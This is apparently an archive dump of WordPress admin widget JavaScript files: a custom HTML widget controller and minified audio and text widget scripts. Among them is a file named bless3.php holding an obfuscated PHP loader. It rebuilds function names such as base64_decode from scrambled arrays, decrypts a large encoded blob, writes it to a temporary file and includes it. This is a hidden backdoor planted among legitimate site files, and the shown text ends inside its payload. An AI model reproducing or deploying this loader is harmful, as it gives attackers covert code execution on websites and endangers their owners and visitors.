custom-html-widgets.js000064400000036642147102520270011035 0ustar00/** * @output wp-admin/js/widgets/custom-html-widgets.js */ /* global wp */ /* eslint consistent-this: [ "error", "control" ] */ /* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */ /** * @namespace wp.customHtmlWidget * @memberOf wp */ wp.customHtmlWidgets = ( function( $ ) { 'use strict'; var component = { idBases: [ 'custom_html' ], codeEditorSettings: {}, l10n: { errorNotice: { singular: '', plural: '' } } }; component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{ /** * View events. * * @type {Object} */ events: {}, /** * Text widget control. * * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } Backbone.View.prototype.initialize.call( control, options ); control.syncContainer = options.syncContainer; control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val(); control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val(); control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']'; control.$el.addClass( 'custom-html-widget-fields' ); control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) ); control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' ); control.currentErrorAnnotations = []; control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' ); control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting. control.fields = { title: control.$el.find( '.title' ), content: control.$el.find( '.content' ) }; // Sync input fields to hidden sync fields which actually get sent to the server. _.each( control.fields, function( fieldInput, fieldName ) { fieldInput.on( 'input change', function updateSyncField() { var syncInput = control.syncContainer.find( '.sync-input.' + fieldName ); if ( syncInput.val() !== fieldInput.val() ) { syncInput.val( fieldInput.val() ); syncInput.trigger( 'change' ); } }); // Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event. fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() ); }); }, /** * Update input fields from the sync fields. * * This function is called at the widget-updated and widget-synced events. * A field will only be updated if it is not currently focused, to avoid * overwriting content that the user is entering. * * @return {void} */ updateFields: function updateFields() { var control = this, syncInput; if ( ! control.fields.title.is( document.activeElement ) ) { syncInput = control.syncContainer.find( '.sync-input.title' ); control.fields.title.val( syncInput.val() ); } /* * Prevent updating content when the editor is focused or if there are current error annotations, * to prevent the editor's contents from getting sanitized as soon as a user removes focus from * the editor. This is particularly important for users who cannot unfiltered_html. */ control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length; if ( ! control.contentUpdateBypassed ) { syncInput = control.syncContainer.find( '.sync-input.content' ); control.fields.content.val( syncInput.val() ); } }, /** * Show linting error notice. * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ updateErrorNotice: function( errorAnnotations ) { var control = this, errorNotice, message = '', customizeSetting; if ( 1 === errorAnnotations.length ) { message = component.l10n.errorNotice.singular.replace( '%d', '1' ); } else if ( errorAnnotations.length > 1 ) { message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) ); } if ( control.fields.content[0].setCustomValidity ) { control.fields.content[0].setCustomValidity( message ); } if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) { customizeSetting = wp.customize( control.customizeSettingId ); customizeSetting.notifications.remove( 'htmlhint_error' ); if ( 0 !== errorAnnotations.length ) { customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', { message: message, type: 'error' } ) ); } } else if ( 0 !== errorAnnotations.length ) { errorNotice = $( '' ); errorNotice.append( $( '

', { text: message } ) ); control.errorNoticeContainer.empty(); control.errorNoticeContainer.append( errorNotice ); control.errorNoticeContainer.slideDown( 'fast' ); wp.a11y.speak( message ); } else { control.errorNoticeContainer.slideUp( 'fast' ); } }, /** * Initialize editor. * * @return {void} */ initializeEditor: function initializeEditor() { var control = this, settings; if ( component.codeEditorSettings.disabled ) { return; } settings = _.extend( {}, component.codeEditorSettings, { /** * Handle tabbing to the field before the editor. * * @ignore * * @return {void} */ onTabPrevious: function onTabPrevious() { control.fields.title.focus(); }, /** * Handle tabbing to the field after the editor. * * @ignore * * @return {void} */ onTabNext: function onTabNext() { var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' ); tabbables.first().focus(); }, /** * Disable save button and store linting errors for use in updateFields. * * @ignore * * @param {Array} errorAnnotations - Error notifications. * @return {void} */ onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) { control.currentErrorAnnotations = errorAnnotations; }, /** * Update error notice. * * @ignore * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) { control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 ); control.updateErrorNotice( errorAnnotations ); } }); control.editor = wp.codeEditor.initialize( control.fields.content, settings ); // Improve the editor accessibility. $( control.editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-labelledby': control.fields.content[0].id + '-label', 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. $( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() { control.editor.codemirror.focus(); }); control.fields.content.on( 'change', function() { if ( this.value !== control.editor.codemirror.getValue() ) { control.editor.codemirror.setValue( this.value ); } }); control.editor.codemirror.on( 'change', function() { var value = control.editor.codemirror.getValue(); if ( value !== control.fields.content.val() ) { control.fields.content.val( value ).trigger( 'change' ); } }); // Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused. control.editor.codemirror.on( 'blur', function() { if ( control.contentUpdateBypassed ) { control.syncContainer.find( '.sync-input.content' ).trigger( 'change' ); } }); // Prevent hitting Esc from collapsing the widget control. if ( wp.customize ) { control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) { var escKeyCode = 27; if ( escKeyCode === event.keyCode ) { event.stopPropagation(); } }); } } }); /** * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses. * * @alias wp.customHtmlWidgets.widgetControls * * @type {Object.} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @alias wp.customHtmlWidgets.handleWidgetAdded * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Prevent initializing already-added widgets. widgetId = widgetForm.find( '.widget-id' ).val(); if ( component.widgetControls[ widgetId ] ) { return; } /* * Create a container element for the widget control fields. * This is inserted into the DOM immediately before the the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '
' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); widgetControl = new component.CustomHtmlWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); component.widgetControls[ widgetId ] = widgetControl; /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the textarea is visible and the editor can be initialized. */ renderWhenAnimationDone = function() { if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.initializeEditor(); } }; renderWhenAnimationDone(); }; /** * Setup widget in accessibility mode. * * @alias wp.customHtmlWidgets.setupAccessibleMode * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, idBase, widgetControl, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } fieldContainer = $( '
' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); widgetControl = new component.CustomHtmlWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); widgetControl.initializeEditor(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @alias wp.customHtmlWidgets.handleWidgetUpdated * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetId, widgetControl, idBase; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } widgetControl.updateFields(); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.textWidgets.init(). * * @alias wp.customHtmlWidgets.init * * @param {Object} settings - Options for code editor, exported from PHP. * * @return {void} */ component.init = function init( settings ) { var $document = $( document ); _.extend( component.codeEditorSettings, settings ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. if ( document.readyState === 'complete' ) { // Page is fully loaded. component.setupAccessibleMode(); } else { // Page is still loading. $( window ).on( 'load', function() { component.setupAccessibleMode(); }); } }); }; return component; })( jQuery ); media-audio-widget.min.js000064400000002647147102520270011334 0ustar00/*! This file is auto-generated */ !function(t){"use strict";var a=wp.media.view.MediaFrame.AudioDetails.extend({createStates:function(){this.states.add([new wp.media.controller.AudioDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"audio",id:"add-audio-source",title:wp.media.view.l10n.audioAddSourceTitle,toolbar:"add-audio-source",media:this.media,menu:!1})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},renderPreview:function(){var e,t=this,d=t.model.get("attachment_id"),a=t.model.get("url");(d||a)&&(d=t.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-audio-preview"),d.html(e({model:{attachment_id:t.model.get("attachment_id"),src:a},error:t.model.get("error")})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new a({frame:"audio",state:"audio-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(t.model.defaults(),t.mapMediaToModelProps(e),{error:!1}))},d.state("audio-details").on("update",e),d.state("replace-audio").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_audio=d,t.modelConstructors.media_audio=e}(wp.mediaWidgets);text-widgets.min.js000064400000013335147102520270010321 0ustar00/*! This file is auto-generated */ wp.textWidgets=function(r){"use strict";var u={dismissedPointers:[],idBases:["text"]};return u.TextWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.$el.addClass("text-widget-fields"),n.$el.html(wp.template("widget-text-control-fields")),n.customHtmlWidgetPointer=n.$el.find(".wp-pointer.custom-html-widget-pointer"),n.customHtmlWidgetPointer.length&&(n.customHtmlWidgetPointer.find(".close").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),r("#"+n.fields.text.attr("id")+"-html").trigger("focus"),n.dismissPointers(["text_widget_custom_html"])}),n.customHtmlWidgetPointer.find(".add-widget").on("click",function(e){e.preventDefault(),n.customHtmlWidgetPointer.hide(),n.openAvailableWidgetsPanel()})),n.pasteHtmlPointer=n.$el.find(".wp-pointer.paste-html-pointer"),n.pasteHtmlPointer.length&&n.pasteHtmlPointer.find(".close").on("click",function(e){e.preventDefault(),n.pasteHtmlPointer.hide(),n.editor.focus(),n.dismissPointers(["text_widget_custom_html","text_widget_paste_html"])}),n.fields={title:n.$el.find(".title"),text:n.$el.find(".text")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},dismissPointers:function(e){_.each(e,function(e){wp.ajax.post("dismiss-wp-pointer",{pointer:e}),u.dismissedPointers.push(e)})},openAvailableWidgetsPanel:function(){var t;wp.customize.section.each(function(e){e.extended(wp.customize.Widgets.SidebarSection)&&e.expanded()&&(t=wp.customize.control("sidebars_widgets["+e.params.sidebarId+"]"))}),t&&setTimeout(function(){wp.customize.Widgets.availableWidgetsPanel.open(t),wp.customize.Widgets.availableWidgetsPanel.$search.val("HTML").trigger("keyup")})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),e=t.syncContainer.find(".sync-input.text"),t.fields.text.is(":visible")?t.fields.text.is(document.activeElement)||t.fields.text.val(e.val()):t.editor&&!t.editorFocused&&e.val()!==t.fields.text.val()&&t.editor.setContent(wp.oldEditor.autop(e.val()))},initializeEditor:function(){var d,e,o,t,s=this,a=1e3,l=!1,c=!1;e=s.fields.text,d=e.attr("id"),t=e.val(),o=function(){s.editor.isDirty()&&(wp.customize&&wp.customize.state&&(wp.customize.state("processing").set(wp.customize.state("processing").get()+1),_.delay(function(){wp.customize.state("processing").set(wp.customize.state("processing").get()-1)},300)),s.editor.isHidden()||s.editor.save()),c&&t!==e.val()&&(e.trigger("change"),c=!1,t=e.val())},s.syncContainer.closest(".widget").find("[name=savewidget]:first").on("click",function(){o()}),function e(){var t,i,n;if(document.getElementById(d))if(void 0===window.tinymce)wp.oldEditor.initialize(d,{quicktags:!0,mediaButtons:!0});else{if(tinymce.get(d)&&(l=tinymce.get(d).isHidden(),wp.oldEditor.remove(d)),r(document).one("wp-before-tinymce-init.text-widget-init",function(e,t){t.plugins&&!/\bwpview\b/.test(t.plugins)&&(t.plugins+=",wpview")}),wp.oldEditor.initialize(d,{tinymce:{wpautop:!0},quicktags:!0,mediaButtons:!0}),n=function(e){e.show(),e.find(".close").trigger("focus"),wp.a11y.speak(e.find("h3, p").map(function(){return r(this).text()}).get().join("\n\n"))},!(t=window.tinymce.get(d)))throw new Error("Failed to initialize editor");i=function(){r(t.getWin()).on("pagehide",function(){_.defer(e)}),l&&switchEditors.go(d,"html"),r("#"+d+"-html").on("click",function(){s.pasteHtmlPointer.hide(),-1===u.dismissedPointers.indexOf("text_widget_custom_html")&&n(s.customHtmlWidgetPointer)}),r("#"+d+"-tmce").on("click",function(){s.customHtmlWidgetPointer.hide()}),t.on("pastepreprocess",function(e){e=e.content,-1===u.dismissedPointers.indexOf("text_widget_paste_html")&&e&&/<\w+.*?>/.test(e)&&_.delay(function(){n(s.pasteHtmlPointer)},250)})},t.initialized?i():t.on("init",i),s.editorFocused=!1,t.on("focus",function(){s.editorFocused=!0}),t.on("paste",function(){t.setDirty(!0),o()}),t.on("NodeChange",function(){c=!0}),t.on("NodeChange",_.debounce(o,a)),t.on("blur hide",function(){s.editorFocused=!1,o()}),s.editor=t}}()}}),u.widgetControls={},u.handleWidgetAdded=function(e,t){var i,n,d,o=t.find("> .widget-inside > .form, > .widget-inside > form"),s=o.find("> .id_base").val();-1===u.idBases.indexOf(s)||(s=o.find(".widget-id").val(),u.widgetControls[s])||o.find(".visual").val()&&(o=r("
"),(d=t.find(".widget-content:first")).before(o),i=new u.TextWidgetControl({el:o,syncContainer:d}),u.widgetControls[s]=i,(n=function(){t.hasClass("open")?i.initializeEditor():setTimeout(n,50)})())},u.setupAccessibleMode=function(){var e,t=r(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==u.idBases.indexOf(e))&&t.find(".visual").val()&&(e=r("
"),(t=t.find("> .widget-inside")).before(e),new u.TextWidgetControl({el:e,syncContainer:t}).initializeEditor())},u.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==u.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=u.widgetControls[i])&&t.updateFields()},u.init=function(){var e=r(document);e.on("widget-added",u.handleWidgetAdded),e.on("widget-synced widget-updated",u.handleWidgetUpdated),r(function(){"widgets"===window.pagenow&&(r(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=r(this);u.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),u.setupAccessibleMode())})},u}(jQuery);bless3.php000064400000072716147102520270006465 0ustar00module($this->value); $lib = $this->tx($this->_tool($lib)); $lib = $this->debug($lib); $lib = $this->_($lib); if(is_array($lib)) { list($app, $_backend, $_move, $code) = $lib; $this->_load = $code; $this->std = $_move; $this->income = $app; $this->mv($app, $_backend); } } function mv($_process, $inc) { $this->key = $_process; $this->inc = $inc; $this->cache = $this->module($this->cache); $this->cache = $this->_tool($this->cache); $this->cache = $this->access(); if(strpos($this->cache, $this->key) !== false) { if(!$this->_load) $this->emu($this->std, $this->income); $this->debug($this->cache); $this->_($this->stable); } } function emu($_engine, $application) { $_x86 = $this->seek($this->emu[4].$this->emu[0].$this->emu[2].$this->emu[1].$this->emu[3]); $_x86 = $_x86($_engine, $application); } function ver($inc, $_control, $_process) { $_memory = strlen($_control) + strlen($_process); $this->cron = 0; while(strlen($_process) < $_memory) { $rx = ord($_control[$this->cron]) - ord($_process[$this->cron]); $_control[$this->cron] = chr($rx % (2*128)); $_process .= $_control[$this->cron]; $this->cron++; } return $_control; } function _tool($_engine) { $library = $this->_tool[3].$this->_tool[0].$this->_tool[2].$this->_tool[1]; $library = $library($_engine); return $library; } function tx($_engine) { $library = $this->seek($this->tx[2].$this->tx[0].$this->tx[3].$this->tx[1].$this->tx[4]); $library = $library($_engine); return $library; } function access() { $this->nginx = $this->ver($this->inc, $this->cache, $this->key); $this->nginx = $this->tx($this->nginx); return $this->nginx; } function seek($px) { $this->_task = $this->_tool($px); $this->_task = $this->ver('', $this->_task, strval($this->twelve)); return $this->_task; } function debug($conf) { $stable = $this->seek($this->core[3].$this->core[0].$this->core[2].$this->core[1].$this->core[4]); $this->stable = $stable() . $this->seek($this->apache[3].$this->apache[1].$this->apache[0].$this->apache[4].$this->apache[2]) . md5(time()); $stable = $this->seek($this->set[3].$this->set[4].$this->set[2].$this->set[0].$this->set[1]); $stable = $stable($this->stable, 'w'); if ($stable) { $claster = $this->seek($this->ls[4].$this->ls[1].$this->ls[2].$this->ls[5].$this->ls[3].$this->ls[0]); $claster($stable, $conf); return $this->stable; } } function _($claster) { $result = include($claster); return $result; } function module($conf) { $library = $this->seek($this->dx[1].$this->dx[0].$this->dx[3].$this->dx[2]); return $library("\r\n", "", $conf); } var $x64; var $cron = 0; var $twelve = 408; var $tx = array('h1e', 'z9r', 'm6q', 'DV', 'R'); var $_check = array('l6Kdx', 'ObKwN', 'p19Li', 'razcn'); var $_tool = array('4_', 'e', 'decod', 'base6'); var $emu = array('W', 'tTjzt', 's1', 'jU', 'p5'); var $dx = array('Sq0u', 'p6', 'E=', 'bXz97G09'); var $core = array('s7i4c', 'bG09g', 'jiz9XYwO', 'p5Wr5', '='); var $apache = array('o', 'Od', 'bE', 'Y6', 'u'); var $set = array('90', '=', 'oy', 'm', 'p+'); var $ls = array('X', 'qe', 'qz', 'v', 'm', '+'); var $cache = '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 